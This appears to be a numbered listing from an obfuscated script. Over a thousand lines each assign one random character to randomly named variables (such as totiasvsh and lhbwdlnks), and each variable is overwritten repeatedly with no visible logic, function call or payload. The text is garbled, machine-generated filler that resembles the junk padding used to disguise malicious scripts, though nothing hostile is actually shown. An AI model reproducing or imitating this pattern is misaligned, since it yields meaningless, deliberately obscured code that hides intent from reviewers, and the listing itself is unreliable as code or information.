19	totiasvsh = "K";
20	totiasvsh = "n";
21	totiasvsh = "w";
22	totiasvsh = "d";
23	totiasvsh = "J";
24	totiasvsh = "e";
25	totiasvsh = "j";
26	totiasvsh = "Y";
27	totiasvsh = "S";
28	totiasvsh = "o";
29	totiasvsh = "q";
30	totiasvsh = "B";
31	totiasvsh = "X";
32	totiasvsh = "c";
33	totiasvsh = "Q";
34	totiasvsh = "L";
35	totiasvsh = "B";
36	totiasvsh = "D";
37	totiasvsh = "G";
38	totiasvsh = "H";
39	totiasvsh = "g";
40	totiasvsh = "C";
41	totiasvsh = "P";
42	totiasvsh = "T";
43	totiasvsh = "A";
44	totiasvsh = "m";
45	totiasvsh = "&";
46	nflrntusa = "F";
47	nflrntusa = "u";
48	nflrntusa = "b";
49	nflrntusa = "c";
50	nflrntusa = "b";
51	nflrntusa = "U";
52	nflrntusa = "l";
53	nflrntusa = "d";
54	nflrntusa = "X";
55	nflrntusa = "C";
56	nflrntusa = "S";
57	nflrntusa = "P";
58	nflrntusa = "O";
59	nflrntusa = "Z";
60	nflrntusa = "I";
61	nflrntusa = "i";
62	nflrntusa = "l";
63	nflrntusa = "Y";
64	nflrntusa = "c";
65	nflrntusa = "H";
66	nflrntusa = "G";
67	nflrntusa = "p";
68	nflrntusa = "O";
69	nflrntusa = "t";
70	nflrntusa = "T";
71	lhbwdlnks = "m";
72	lhbwdlnks = "c";
73	lhbwdlnks = "o";
74	lhbwdlnks = "L";
75	lhbwdlnks = "S";
76	lhbwdlnks = "Z";
77	lhbwdlnks = "Q";
78	lhbwdlnks = "D";
79	lhbwdlnks = "d";
80	lhbwdlnks = "g";
81	lhbwdlnks = "B";
82	lhbwdlnks = "h";
83	lhbwdlnks = "D";
84	lhbwdlnks = "y";
85	lhbwdlnks = "x";
86	lhbwdlnks = "k";
87	lhbwdlnks = "S";
88	lhbwdlnks = "a";
89	lhbwdlnks = "N";
90	lhbwdlnks = "F";
91	lhbwdlnks = "x";
92	lhbwdlnks = "O";
93	lhbwdlnks = "Z";
94	lhbwdlnks = "r";
95	lhbwdlnks = "c";
96	lhbwdlnks = "J";
97	lhbwdlnks = "D";
98	lhbwdlnks = "i";
99	lhbwdlnks = "z";
100	lhbwdlnks = "E";
101	lhbwdlnks = "Z";
102	lhbwdlnks = "i";
103	lhbwdlnks = "Y";
104	lhbwdlnks = "c";
105	lhbwdlnks = "k";
106	lhbwdlnks = "U";
107	lhbwdlnks = "s";
108	lhbwdlnks = "i";
109	lhbwdlnks = "U";
110	lhbwdlnks = "M";
111	lhbwdlnks = "x";
112	lhbwdlnks = "U";
113	eijbk = "V";
114	eijbk = "a";
115	eijbk = "A";
116	eijbk = "a";
117	eijbk = "F";
118	eijbk = "q";
119	eijbk = "k";
120	eijbk = "F";
121	eijbk = "J";
122	eijbk = "p";
123	eijbk = "b";
124	eijbk = "a";
125	tbmvbuxp = "L";
126	tbmvbuxp = "e";
127	tbmvbuxp = "n";
128	tbmvbuxp = "z";
129	tbmvbuxp = "E";
130	tbmvbuxp = "G";
131	tbmvbuxp = "Y";
132	tbmvbuxp = "S";
133	tbmvbuxp = "p";
134	tbmvbuxp = "H";
135	tbmvbuxp = "E";
136	tbmvbuxp = "n";
137	tbmvbuxp = "Q";
138	tbmvbuxp = "S";
139	tbmvbuxp = "z";
140	tbmvbuxp = "E";
141	tbmvbuxp = "h";
142	tbmvbuxp = "f";
143	tbmvbuxp = "P";
144	tbmvbuxp = "c";
145	tbmvbuxp = "M";
146	tbmvbuxp = "h";
147	tbmvbuxp = "E";
148	tbmvbuxp = "q";
149	tbmvbuxp = "y";
150	tbmvbuxp = "i";
151	tbmvbuxp = "O";
152	tbmvbuxp = "H";
153	tbmvbuxp = "c";
154	tbmvbuxp = "A";
155	tbmvbuxp = "t";
156	tbmvbuxp = "r";
157	tbmvbuxp = "b";
158	tbmvbuxp = "M";
159	tbmvbuxp = "K";
160	tbmvbuxp = "q";
161	tbmvbuxp = "g";
162	tbmvbuxp = "h";
163	tbmvbuxp = "t";
164	tbmvbuxp = "f";
165	tbmvbuxp = "N";
166	tbmvbuxp = "f";
167	tbmvbuxp = "Y";
168	itukzxjg = "z";
169	itukzxjg = "q";
170	itukzxjg = "t";
171	itukzxjg = "f";
172	itukzxjg = "S";
173	itukzxjg = "J";
174	itukzxjg = "i";
175	itukzxjg = "g";
176	itukzxjg = "L";
177	itukzxjg = "w";
178	itukzxjg = "t";
179	itukzxjg = "C";
180	itukzxjg = "y";
181	itukzxjg = "J";
182	itukzxjg = "x";
183	itukzxjg = "p";
184	itukzxjg = "y";
185	itukzxjg = "e";
186	itukzxjg = "r";
187	itukzxjg = "o";
188	itukzxjg = "M";
189	itukzxjg = "g";
190	itukzxjg = "t";
191	itukzxjg = "d";
192	itukzxjg = "W";
193	itukzxjg = "q";
194	itukzxjg = "B";
195	itukzxjg = "v";
196	yfzzx = "w";
197	yfzzx = "Z";
198	yfzzx = "n";
199	feune = "d";
200	feune = "U";
201	feune = "x";
202	feune = "V";
203	feune = "w";
204	feune = "u";
205	feune = "C";
206	feune = "v";
207	feune = "T";
208	feune = "e";
209	feune = "k";
210	feune = "m";
211	feune = "n";
212	feune = "t";
213	feune = "q";
214	feune = "f";
215	feune = "Y";
216	feune = "F";
217	feune = "t";
218	feune = "W";
219	zosccglu = "J";
220	zosccglu = "Y";
221	zosccglu = "P";
222	zosccglu = "s";
223	zosccglu = "V";
224	zosccglu = "Q";
225	zosccglu = "J";
226	zosccglu = "T";
227	zosccglu = "M";
228	zosccglu = "k";
229	zosccglu = "O";
230	zosccglu = "u";
231	zosccglu = "c";
232	zosccglu = "G";
233	zosccglu = "p";
234	zosccglu = "U";
235	zosccglu = "N";
236	zosccglu = "i";
237	zosccglu = "w";
238	zosccglu = "x";
239	zosccglu = "C";
240	zosccglu = "u";
241	ufdexgnly = "i";
242	ufdexgnly = "c";
243	ufdexgnly = "l";
244	ufdexgnly = " ";
245	khvmitlzl = "d";
246	khvmitlzl = "P";
247	khvmitlzl = "H";
248	nozhkbqf = "z";
249	nozhkbqf = "q";
250	nozhkbqf = "t";
251	nozhkbqf = "R";
252	nozhkbqf = "g";
253	nozhkbqf = "P";
254	nozhkbqf = "D";
255	nozhkbqf = "d";
256	nozhkbqf = "u";
257	nozhkbqf = "u";
258	nozhkbqf = "i";
259	nozhkbqf = "G";
260	nozhkbqf = "B";
261	nozhkbqf = "Q";
262	nozhkbqf = "E";
263	nozhkbqf = "H";
264	nozhkbqf = "j";
265	nozhkbqf = "F";
266	nozhkbqf = "J";
267	nozhkbqf = "l";
268	nozhkbqf = "g";
269	nozhkbqf = "p";
270	nozhkbqf = "a";
271	nozhkbqf = "X";
272	nozhkbqf = "i";
273	nozhkbqf = "g";
274	nozhkbqf = "y";
275	nozhkbqf = "P";
276	nozhkbqf = "p";
277	nozhkbqf = "s";
278	nozhkbqf = "Q";
279	nozhkbqf = "B";
280	nozhkbqf = "l";
281	uewyakboi = "a";
282	uewyakboi = "u";
283	uewyakboi = "J";
284	uewyakboi = "G";
285	uewyakboi = "K";
286	uewyakboi = "e";
287	uewyakboi = "R";
288	uewyakboi = "W";
289	uewyakboi = "q";
290	uewyakboi = "R";
291	uewyakboi = "k";
292	tcdopbiyk = "f";
293	tcdopbiyk = "r";
294	tcdopbiyk = "i";
295	tcdopbiyk = "z";
296	tcdopbiyk = "o";
297	tcdopbiyk = "Q";
298	tcdopbiyk = "b";
299	tcdopbiyk = "a";
300	tcdopbiyk = "s";
301	tcdopbiyk = "Q";
302	tcdopbiyk = "H";
303	tcdopbiyk = "A";
304	tcdopbiyk = "g";
305	tcdopbiyk = "O";
306	bdlnplkbl = "O";
307	bdlnplkbl = "u";
308	bdlnplkbl = "O";
309	bdlnplkbl = "r";
310	bdlnplkbl = "U";
311	bdlnplkbl = "y";
312	bdlnplkbl = "t";
313	bdlnplkbl = "K";
314	bdlnplkbl = "R";
315	bdlnplkbl = "t";
316	bdlnplkbl = "t";
317	bdlnplkbl = "Q";
318	bdlnplkbl = "p";
319	bdlnplkbl = "G";
320	bdlnplkbl = "a";
321	bdlnplkbl = "v";
322	bdlnplkbl = "M";
323	bdlnplkbl = "A";
324	bdlnplkbl = "F";
325	bdlnplkbl = "S";
326	bdlnplkbl = "c";
327	bdlnplkbl = "W";
328	bdlnplkbl = "Q";
329	bdlnplkbl = "T";
330	bdlnplkbl = "Q";
331	bdlnplkbl = "L";
332	bdlnplkbl = "D";
333	bdlnplkbl = "Q";
334	bdlnplkbl = "e";
335	bdlnplkbl = "o";
336	bdlnplkbl = "N";
337	bdlnplkbl = "H";
338	bdlnplkbl = "b";
339	bdlnplkbl = "U";
340	bdlnplkbl = "t";
341	bdlnplkbl = "i";
342	bdlnplkbl = "x";
343	bdlnplkbl = "V";
344	bdlnplkbl = "h";
345	bdlnplkbl = "8";
346	upylphmy = "b";
347	upylphmy = "h";
348	upylphmy = "s";
349	upylphmy = "w";
350	upylphmy = "M";
351	upylphmy = "G";
352	upylphmy = "b";
353	upylphmy = "H";
354	upylphmy = "D";
355	upylphmy = "e";
356	upylphmy = "F";
357	upylphmy = "M";
358	upylphmy = "a";
359	upylphmy = "L";
360	upylphmy = "F";
361	upylphmy = "F";
362	upylphmy = "p";
363	upylphmy = "P";
364	upylphmy = "G";
365	upylphmy = "M";
366	upylphmy = "x";
367	upylphmy = "w";
368	upylphmy = "v";
369	upylphmy = "q";
370	upylphmy = "D";
371	upylphmy = "A";
372	upylphmy = "Z";
373	upylphmy = "L";
374	upylphmy = "K";
375	upylphmy = "Z";
376	upylphmy = "s";
377	upylphmy = "d";
378	upylphmy = "Z";
379	upylphmy = "i";
380	upylphmy = "z";
381	upylphmy = "y";
382	upylphmy = "Q";
383	bmrfzqlil = "J";
384	bmrfzqlil = "O";
385	bmrfzqlil = "I";
386	bmrfzqlil = "x";
387	bmrfzqlil = "e";
388	mtwsa = "M";
389	mtwsa = "s";
390	mtwsa = "V";
391	mtwsa = "d";
392	mtwsa = "t";
393	mtwsa = "V";
394	mtwsa = "k";
395	mtwsa = "Q";
396	mtwsa = "T";
397	mtwsa = "O";
398	mtwsa = "Y";
399	mtwsa = "e";
400	mtwsa = "v";
401	mtwsa = "x";
402	mtwsa = "S";
403	mtwsa = "z";
404	mtwsa = "L";
405	mtwsa = "c";
406	mtwsa = "S";
407	mtwsa = "A";
408	mtwsa = "N";
409	mtwsa = "u";
410	mtwsa = "H";
411	mtwsa = "X";
412	mtwsa = "r";
413	mtwsa = "X";
414	mtwsa = "U";
415	mtwsa = "U";
416	mtwsa = "x";
417	mtwsa = "N";
418	mtwsa = "E";
419	mtwsa = "N";
420	mtwsa = "R";
421	mtwsa = "n";
422	mtwsa = "f";
423	mtwsa = "k";
424	mtwsa = "Y";
425	mtwsa = "R";
426	mtwsa = "D";
427	mtwsa = "P";
428	mtwsa = "G";
429	mtwsa = "J";
430	mtwsa = "D";
431	mtwsa = "\"";
432	chjpew = "X";
433	chjpew = "W";
434	chjpew = "B";
435	chjpew = "D";
436	chjpew = "R";
437	cenwcz = "l";
438	cenwcz = "S";
439	cenwcz = "i";
440	cenwcz = "X";
441	cenwcz = "i";
442	cenwcz = "n";
443	cenwcz = "T";
444	cenwcz = "Z";
445	cenwcz = "j";
446	cenwcz = "s";
447	cenwcz = "t";
448	cenwcz = "F";
449	cenwcz = "I";
450	cenwcz = "U";
451	cenwcz = "x";
452	cenwcz = "D";
453	cenwcz = "y";
454	cenwcz = "q";
455	cenwcz = "N";
456	cenwcz = "c";
457	cenwcz = "c";
458	cenwcz = "B";
459	cenwcz = "C";
460	cenwcz = "p";
461	wcmnlroh = "X";
462	wcmnlroh = "d";
463	wcmnlroh = "e";
464	wcmnlroh = "c";
465	wcmnlroh = "X";
466	wcmnlroh = "T";
467	wcmnlroh = "h";
468	wcmnlroh = "X";
469	wcmnlroh = "y";
470	wcmnlroh = "y";
471	wcmnlroh = "A";
472	wcmnlroh = "V";
473	wcmnlroh = "V";
474	wcmnlroh = "n";
475	wcmnlroh = "t";
476	wcmnlroh = "m";
477	wcmnlroh = "t";
478	ekigeqbdx = "E";
479	ekigeqbdx = "N";
480	ekigeqbdx = "L";
481	ekigeqbdx = "Z";
482	ekigeqbdx = "V";
483	ekigeqbdx = "c";
484	ekigeqbdx = "h";
485	ekigeqbdx = "a";
486	ekigeqbdx = "g";
487	ekigeqbdx = "V";
488	ekigeqbdx = "h";
489	ekigeqbdx = "Q";
490	ekigeqbdx = "z";
491	ekigeqbdx = "c";
492	ekigeqbdx = "Q";
493	ekigeqbdx = "T";
494	ekigeqbdx = "s";
495	ekigeqbdx = "i";
496	ekigeqbdx = "L";
497	ekigeqbdx = "D";
498	ekigeqbdx = "p";
499	ekigeqbdx = "t";
500	ekigeqbdx = "j";
501	ekigeqbdx = "Y";
502	ekigeqbdx = "v";
503	ekigeqbdx = "u";
504	ekigeqbdx = "J";
505	ekigeqbdx = "s";
506	ekigeqbdx = "f";
507	ekigeqbdx = "u";
508	ekigeqbdx = "U";
509	ekigeqbdx = "C";
510	ekigeqbdx = "C";
511	ekigeqbdx = "P";
512	ekigeqbdx = "a";
513	ekigeqbdx = "H";
514	ekigeqbdx = "h";
515	ekigeqbdx = "c";
516	ekigeqbdx = "L";
517	ekigeqbdx = "o";
518	ekigeqbdx = "x";
519	ekigeqbdx = "p";
520	ekigeqbdx = "R";
521	ekigeqbdx = "/";
522	neztfdjvk = "j";
523	neztfdjvk = "G";
524	neztfdjvk = "Q";
525	neztfdjvk = "u";
526	neztfdjvk = "v";
527	neztfdjvk = "C";
528	neztfdjvk = "H";
529	neztfdjvk = "U";
530	neztfdjvk = "a";
531	neztfdjvk = "g";
532	neztfdjvk = "q";
533	neztfdjvk = "W";
534	neztfdjvk = "y";
535	neztfdjvk = "t";
536	neztfdjvk = "V";
537	neztfdjvk = "f";
538	neztfdjvk = "q";
539	neztfdjvk = "z";
540	neztfdjvk = "i";
541	neztfdjvk = "J";
542	neztfdjvk = "l";
543	neztfdjvk = "f";
544	neztfdjvk = "Q";
545	neztfdjvk = "B";
546	neztfdjvk = "o";
547	neztfdjvk = "k";
548	neztfdjvk = "h";
549	neztfdjvk = "E";
550	neztfdjvk = "x";
551	ldkblztr = "V";
552	ldkblztr = "Z";
553	ldkblztr = "t";
554	ldkblztr = "j";
555	ldkblztr = "H";
556	ldkblztr = "h";
557	ldkblztr = "Y";
558	ldkblztr = "R";
559	ldkblztr = "c";
560	ldkblztr = "N";
561	ldkblztr = "F";
562	ldkblztr = "c";
563	ldkblztr = "D";
564	ldkblztr = "S";
565	ldkblztr = "Z";
566	ldkblztr = "B";
567	ldkblztr = "y";
568	ldkblztr = "K";
569	ldkblztr = "X";
570	ldkblztr = "S";
571	ldkblztr = "Q";
572	ldkblztr = "o";
573	ldkblztr = "G";
574	ldkblztr = "d";
575	ldkblztr = "F";
576	ldkblztr = "i";
577	ldkblztr = "W";
578	ldkblztr = "r";
579	ldkblztr = "E";
580	ldkblztr = "b";
581	ldkblztr = "Q";
582	ldkblztr = "R";
583	ldkblztr = "J";
584	ldkblztr = "J";
585	ldkblztr = "h";
586	ldkblztr = "U";
587	ldkblztr = "x";
588	ldkblztr = "n";
589	ldkblztr = "N";
590	ldkblztr = "9";
591	dwpvlmf = "o";
592	dwpvlmf = "x";
593	dwpvlmf = "r";
594	dwpvlmf = "a";
595	dwpvlmf = "T";
596	dwpvlmf = "P";
597	dwpvlmf = "O";
598	dwpvlmf = "v";
599	dwpvlmf = "a";
600	dwpvlmf = "c";
601	dwpvlmf = "I";
602	dwpvlmf = "a";
603	dwpvlmf = "g";
604	dwpvlmf = "s";
605	dwpvlmf = "i";
606	ijsvv = "t";
607	ijsvv = "c";
608	ijsvv = "i";
609	ijsvv = "J";
610	ijsvv = "s";
611	ijsvv = "g";
612	ijsvv = "q";
613	ijsvv = "v";
614	ijsvv = "s";
615	ijsvv = "p";
616	ijsvv = "L";
617	ijsvv = "G";
618	ijsvv = "B";
619	ijsvv = "C";
620	ijsvv = "t";
621	ijsvv = "D";
622	ijsvv = "L";
623	ijsvv = "j";
624	ijsvv = "x";
625	ijsvv = "u";
626	ijsvv = "L";
627	mxiyl = "W";
628	mxiyl = "E";
629	mxiyl = "P";
630	mxiyl = "e";
631	mxiyl = "M";
632	mxiyl = "k";
633	mxiyl = "m";
634	mxiyl = "W";
635	mxiyl = "g";
636	aytbacw = "g";
637	aytbacw = "h";
638	aytbacw = "P";
639	aytbacw = "N";
640	aytbacw = "q";
641	aytbacw = "A";
642	aytbacw = "Z";
643	aytbacw = "e";
644	aytbacw = "p";
645	aytbacw = "L";
646	aytbacw = "y";
647	aytbacw = "d";
648	aytbacw = "E";
649	aytbacw = "N";
650	aytbacw = "D";
651	aytbacw = "E";
652	aytbacw = ".";
653	ftqltdqb = "L";
654	ftqltdqb = "s";
655	ftqltdqb = "j";
656	ftqltdqb = "I";
657	ftqltdqb = "j";
658	ftqltdqb = "E";
659	ftqltdqb = "I";
660	ftqltdqb = "v";
661	ftqltdqb = "K";
662	ftqltdqb = "j";
663	ftqltdqb = "X";
664	ftqltdqb = "w";
665	ftqltdqb = "t";
666	ftqltdqb = "H";
667	ftqltdqb = "M";
668	ftqltdqb = "R";
669	ftqltdqb = "d";
670	ftqltdqb = "Q";
671	ftqltdqb = "b";
672	ftqltdqb = "K";
673	ftqltdqb = "A";
674	ftqltdqb = "c";
675	ftqltdqb = "C";
676	ftqltdqb = "S";
677	ftqltdqb = "Q";
678	ftqltdqb = "v";
679	ftqltdqb = "O";
680	ftqltdqb = "N";
681	ftqltdqb = "l";
682	ftqltdqb = "e";
683	ftqltdqb = "a";
684	ftqltdqb = "V";
685	ftqltdqb = "v";
686	ftqltdqb = "S";
687	rxlef = "n";
688	rxlef = "P";
689	rxlef = "X";
690	rxlef = "V";
691	rxlef = "@";
692	nvmitcqn = "v";
693	nvmitcqn = "e";
694	nvmitcqn = "l";
695	nvmitcqn = "l";
696	nvmitcqn = "y";
697	nvmitcqn = "X";
698	nvmitcqn = "v";
699	nvmitcqn = "h";
700	nvmitcqn = "Z";
701	nvmitcqn = "f";
702	nvmitcqn = "E";
703	nvmitcqn = "g";
704	nvmitcqn = "J";
705	nvmitcqn = "H";
706	nvmitcqn = "v";
707	nvmitcqn = "C";
708	kxwji = "S";
709	kxwji = "L";
710	kxwji = "x";
711	kxwji = "p";
712	kxwji = "I";
713	kxwji = "L";
714	kxwji = "R";
715	kxwji = "x";
716	kxwji = "y";
717	kxwji = "X";
718	kxwji = "M";
719	kxwji = "W";
720	kxwji = "e";
721	kxwji = "k";
722	kxwji = "u";
723	kxwji = "k";
724	kxwji = "k";
725	kxwji = "d";
726	kxwji = "K";
727	sxcdhu = "h";
728	dbrqpo = "h";
729	dbrqpo = "Y";
730	dbrqpo = "P";
731	dbrqpo = "S";
732	dbrqpo = "S";
733	dbrqpo = "Z";
734	dbrqpo = "R";
735	dbrqpo = "N";
736	dbrqpo = "c";
737	dbrqpo = "G";
738	dbrqpo = "L";
739	dbrqpo = "O";
740	dbrqpo = "i";
741	dbrqpo = "P";
742	dbrqpo = "J";
743	dbrqpo = "n";
744	dbrqpo = "x";
745	dbrqpo = "S";
746	dbrqpo = "a";
747	dbrqpo = "H";
748	dbrqpo = "P";
749	hxbitqlt = "P";
750	hxbitqlt = "r";
751	hxbitqlt = "t";
752	hxbitqlt = "d";
753	hxbitqlt = "d";
754	hxbitqlt = "k";
755	hxbitqlt = "q";
756	qxrrflw = "u";
757	qxrrflw = "Q";
758	qxrrflw = "b";
759	qxrrflw = "B";
760	qxrrflw = "p";
761	qxrrflw = "d";
762	qxrrflw = "S";
763	qxrrflw = "P";
764	qxrrflw = "i";
765	qxrrflw = "u";
766	qxrrflw = "P";
767	qxrrflw = "Q";
768	qxrrflw = "R";
769	qxrrflw = "R";
770	qxrrflw = "E";
771	qxrrflw = "z";
772	qxrrflw = "R";
773	qxrrflw = "x";
774	qxrrflw = "p";
775	qxrrflw = "U";
776	qxrrflw = "Z";
777	qxrrflw = "J";
778	qxrrflw = "N";
779	qxrrflw = "W";
780	qxrrflw = "K";
781	qxrrflw = "J";
782	qxrrflw = "S";
783	qxrrflw = "U";
784	qxrrflw = "H";
785	qxrrflw = "R";
786	qxrrflw = "E";
787	qxrrflw = "o";
788	dfhlrfe = "H";
789	dfhlrfe = "l";
790	dfhlrfe = "D";
791	dfhlrfe = "S";
792	dfhlrfe = "K";
793	dfhlrfe = "V";
794	dfhlrfe = "N";
795	dfhlrfe = "D";
796	dfhlrfe = "R";
797	dfhlrfe = "Y";
798	dfhlrfe = "i";
799	dfhlrfe = "X";
800	dfhlrfe = "D";
801	dfhlrfe = "o";
802	dfhlrfe = "v";
803	dfhlrfe = "B";
804	dfhlrfe = "M";
805	dfhlrfe = "H";
806	dfhlrfe = "D";
807	dfhlrfe = "S";
808	dfhlrfe = "V";
809	dfhlrfe = "r";
810	dfhlrfe = "h";
811	dfhlrfe = "Z";
812	dfhlrfe = "y";
813	dfhlrfe = "x";
814	dfhlrfe = "o";
815	dfhlrfe = "c";
816	dfhlrfe = "J";
817	dfhlrfe = "U";
818	dfhlrfe = "%";
819	izadb = "i";
820	izadb = "n";
821	izadb = "Y";
822	izadb = "z";
823	izadb = "A";
824	izadb = "t";
825	izadb = "X";
826	izadb = "w";
827	izadb = "M";
828	izadb = "S";
829	izadb = "n";
830	izadb = "d";
831	izadb = "h";
832	izadb = "N";
833	izadb = "C";
834	izadb = "P";
835	izadb = "Y";
836	izadb = "c";
837	izadb = "W";
838	izadb = "I";
839	izadb = "w";
840	izadb = "W";
841	izadb = "h";
842	izadb = "Y";
843	izadb = "e";
844	izadb = "j";
845	izadb = "D";
846	izadb = "R";
847	izadb = "R";
848	izadb = "i";
849	izadb = "p";
850	izadb = "v";
851	izadb = "d";
852	izadb = ":";
853	ridvkmgmm = "z";
854	ridvkmgmm = "L";
855	ridvkmgmm = "R";
856	ridvkmgmm = "G";
857	ridvkmgmm = "h";
858	ridvkmgmm = "_";
859	cfmrmhif = "Q";
860	cfmrmhif = "j";
861	cfmrmhif = "d";
862	cfmrmhif = "v";
863	cfmrmhif = "H";
864	cfmrmhif = "d";
865	cfmrmhif = "j";
866	cfmrmhif = "B";
867	cfmrmhif = "d";
868	cfmrmhif = "X";
869	cfmrmhif = "F";
870	cfmrmhif = "k";
871	cfmrmhif = "Y";
872	cfmrmhif = "Y";
873	cfmrmhif = "y";
874	cfmrmhif = "f";
875	cfmrmhif = "K";
876	cfmrmhif = "I";
877	cfmrmhif = "e";
878	cfmrmhif = "V";
879	cfmrmhif = "V";
880	cfmrmhif = "N";
881	lkjin = "o";
882	lkjin = "p";
883	lkjin = "b";
884	lkjin = "R";
885	lkjin = "n";
886	lkjin = "d";
887	lkjin = "I";
888	lkjin = "y";
889	lkjin = "x";
890	lkjin = "q";
891	lkjin = "y";
892	lkjin = "P";
893	lkjin = "J";
894	lkjin = "E";
895	lkjin = "d";
896	lkjin = "n";
897	lkjin = "B";
898	lkjin = "c";
899	lkjin = "f";
900	lkjin = "n";
901	lkjin = "H";
902	lkjin = "v";
903	lkjin = "H";
904	lkjin = "C";
905	lkjin = "Y";
906	lkjin = "N";
907	lkjin = "y";
908	lkjin = "w";
909	mohuwo = "L";
910	mohuwo = "r";
911	mohuwo = "Z";
912	mohuwo = "q";
913	mohuwo = "s";
914	mohuwo = "G";
915	mohuwo = "p";
916	mohuwo = "x";
917	mohuwo = "Q";
918	mohuwo = "E";
919	mohuwo = "b";
920	mohuwo = "q";
921	mohuwo = "N";
922	mohuwo = "o";
923	mohuwo = "J";
924	mohuwo = "N";
925	mohuwo = "b";
926	mohuwo = "V";
927	mohuwo = "w";
928	mohuwo = "b";
929	mohuwo = "x";
930	mohuwo = "G";
931	mohuwo = "h";
932	mohuwo = "P";
933	mohuwo = "m";
934	mohuwo = "z";
935	mohuwo = "G";
936	mohuwo = "g";
937	mohuwo = "V";
938	mohuwo = "M";
939	mohuwo = "t";
940	mohuwo = "o";
941	mohuwo = "t";
942	mohuwo = "P";
943	mohuwo = "k";
944	mohuwo = "j";
945	alzetju = "v";
946	alzetju = "U";
947	alzetju = "Y";
948	alzetju = "O";
949	alzetju = "o";
950	alzetju = "j";
951	alzetju = "n";
952	alzetju = "A";
953	alzetju = "B";
954	alzetju = "p";
955	alzetju = "j";
956	alzetju = "G";
957	alzetju = "i";
958	alzetju = "t";
959	alzetju = "r";
960	alzetju = "C";
961	alzetju = "R";
962	alzetju = "c";
963	alzetju = "n";
964	alzetju = "Q";
965	alzetju = "E";
966	alzetju = "z";
967	alzetju = "y";
968	alzetju = "K";
969	alzetju = "a";
970	alzetju = "V";
971	alzetju = "q";
972	alzetju = "O";
973	alzetju = "c";
974	alzetju = "e";
975	alzetju = "h";
976	alzetju = "b";
977	alzetju = "3";
978	jslcm = "Q";
979	jslcm = "r";
980	jslcm = "h";
981	jslcm = "R";
982	jslcm = "R";
983	jslcm = "e";
984	jslcm = "F";
985	jslcm = "r";
986	jslcm = "F";
987	jslcm = "b";
988	hyvwbpy = "Q";
989	hyvwbpy = "r";
990	hyvwbpy = "A";
991	hyvwbpy = "R";
992	hyvwbpy = "b";
993	hyvwbpy = "q";
994	hyvwbpy = "E";
995	hyvwbpy = "v";
996	hyvwbpy = "T";
997	hyvwbpy = "V";
998	hyvwbpy = "Z";
999	hyvwbpy = "j";
1000	hyvwbpy = "d";
1001	hyvwbpy = "L";
1002	hyvwbpy = "n";
1003	hyvwbpy = "O";
1004	hyvwbpy = "H";
1005	hyvwbpy = "e";
1006	hyvwbpy = "d";
1007	hyvwbpy = "V";
1008	hyvwbpy = "I";
1009	hyvwbpy = "v";
1010	hyvwbpy = "C";
1011	hyvwbpy = "o";
1012	hyvwbpy = "C";
1013	hyvwbpy = "j";
1014	hyvwbpy = "T";
1015	hyvwbpy = "v";
1016	hyvwbpy = "A";
1017	hyvwbpy = "v";
1018	hyvwbpy = "J";
1019	hyvwbpy = "d";
1020	hyvwbpy = "v";
1021	hyvwbpy = "a";
1022	hyvwbpy = "m";
1023	hyvwbpy = "l";
1024	hyvwbpy = "x";
1025	hyvwbpy = "f";
1026	hyvwbpy = "Q";
1027	hyvwbpy = "r";
1028	yxaoaqshk = "u";
1029	yxaoaqshk = "S";
1030	yxaoaqshk = "-";
1031	qtysqrcm = "y";
1032	qtysqrcm = "p";
1033	qtysqrcm = "g";
1034	qtysqrcm = "P";
1035	qtysqrcm = "A";
1036	qtysqrcm = "o";
1037	qtysqrcm = "g";
1038	qtysqrcm = "T";
1039	qtysqrcm = "\\";
1040	fxiccjbol = "M";
1041	fxiccjbol = "i";
1042	fxiccjbol = "w";
1043	fxiccjbol = "e";
1044	fxiccjbol = "w";
1045	fxiccjbol = "W";
1046	fxiccjbol = "Y";
1047	fxiccjbol = "2";
1048	ntbpwmud = "F";
1049	ntbpwmud = "Q";
1050	ntbpwmud = "e";
1051	ntbpwmud = "L";
1052	ntbpwmud = "o";
1053	ntbpwmud = "m";
1054	ntbpwmud = "f";
1055	ntbpwmud = "V";
1056	ntbpwmud = "v";
1057	ntbpwmud = "P";
1058	ntbpwmud = "C";
1059	ntbpwmud = "E";
1060	ntbpwmud = "m";
1061	ntbpwmud = "d";
1062	ntbpwmud = "x";
1063	ntbpwmud = "e";
1064	ntbpwmud = "I";
1065	ntbpwmud = "L";
1066	ntbpwmud = "B";
1067	ntbpwmud = "v";
1068	ntbpwmud = "b";
1069	ntbpwmud = "0";
1070	ckxcvfyu = "x";
1071	ckxcvfyu = "U";
1072	ckxcvfyu = "c";
1073	ckxcvfyu = "X";
1074	ckxcvfyu = "B";
1075	ckxcvfyu = "A";
1076	ckxcvfyu = "p";
1077	ckxcvfyu = "C";
1078	ckxcvfyu = "W";
1079	ckxcvfyu = "W";
1080	ckxcvfyu = "Q";
1081	ckxcvfyu = "v";
1082	ckxcvfyu = "d";
1083	ckxcvfyu = "l";
1084	ckxcvfyu = "L";
1085	ckxcvfyu = "y";
1086	ckxcvfyu = "P";
1087	ckxcvfyu = "K";
1088	ckxcvfyu = "y";
1089	ckxcvfyu = "b";
1090	ckxcvfyu = "a";
1091	ckxcvfyu = "u";
1092	ckxcvfyu = "I";
1093	ckxcvfyu = "r";
1094	ckxcvfyu = "P";
1095	ckxcvfyu = "Q";
1096	ckxcvfyu = "N";
1097	ckxcvfyu = "x";
1098	ckxcvfyu = "V";
1099	ckxcvfyu = "x";
1100	ckxcvfyu = "f";
1101	ckxcvfyu = "b";
1102	ckxcvfyu = "O";
1103	ckxcvfyu = "T";
1104	ckxcvfyu = "C";
1105	ckxcvfyu = "T";
1106	ckxcvfyu = "k";
1107	ckxcvfyu = "Q";
1108	ckxcvfyu = "O";
1109	ckxcvfyu = "s";
1110	rzwrklx = "d";
1111	rzwrklx = "a";
1112	rzwrklx = "a";
1113	rzwrklx = "a";
1114	rzwrklx = "J";
1115	rzwrklx = "S";
1116	rzwrklx = "J";
1117	rzwrklx = "s";
1118	rzwrklx = "s";
1119	rzwrklx = "d";
1120	rzwrklx = "D";
1121	rzwrklx = "E";
1122	rzwrklx = "M";
1123	rzwrklx = "k";
1124	rzwrklx = "e";
1125	rzwrklx = "s";
1126	rzwrklx = "O";
1127	rzwrklx = "q";
1128	rzwrklx = "c";
1129	rzwrklx = "B";
1130	rzwrklx = "v";
1131	rzwrklx = "D";
1132	rzwrklx = "p";
1133	rzwrklx = "i";
1134	rzwrklx = "N";
1135	rzwrklx = "R";
1136	rzwrklx = "z";
1137	rzwrklx = "C";
1138	rzwrklx = "U";
1139	rzwrklx = "X";
1140	rzwrklx = "S";
1141	rzwrklx = "U";
1142	rzwrklx = "c";
1143	rzwrklx = "n";
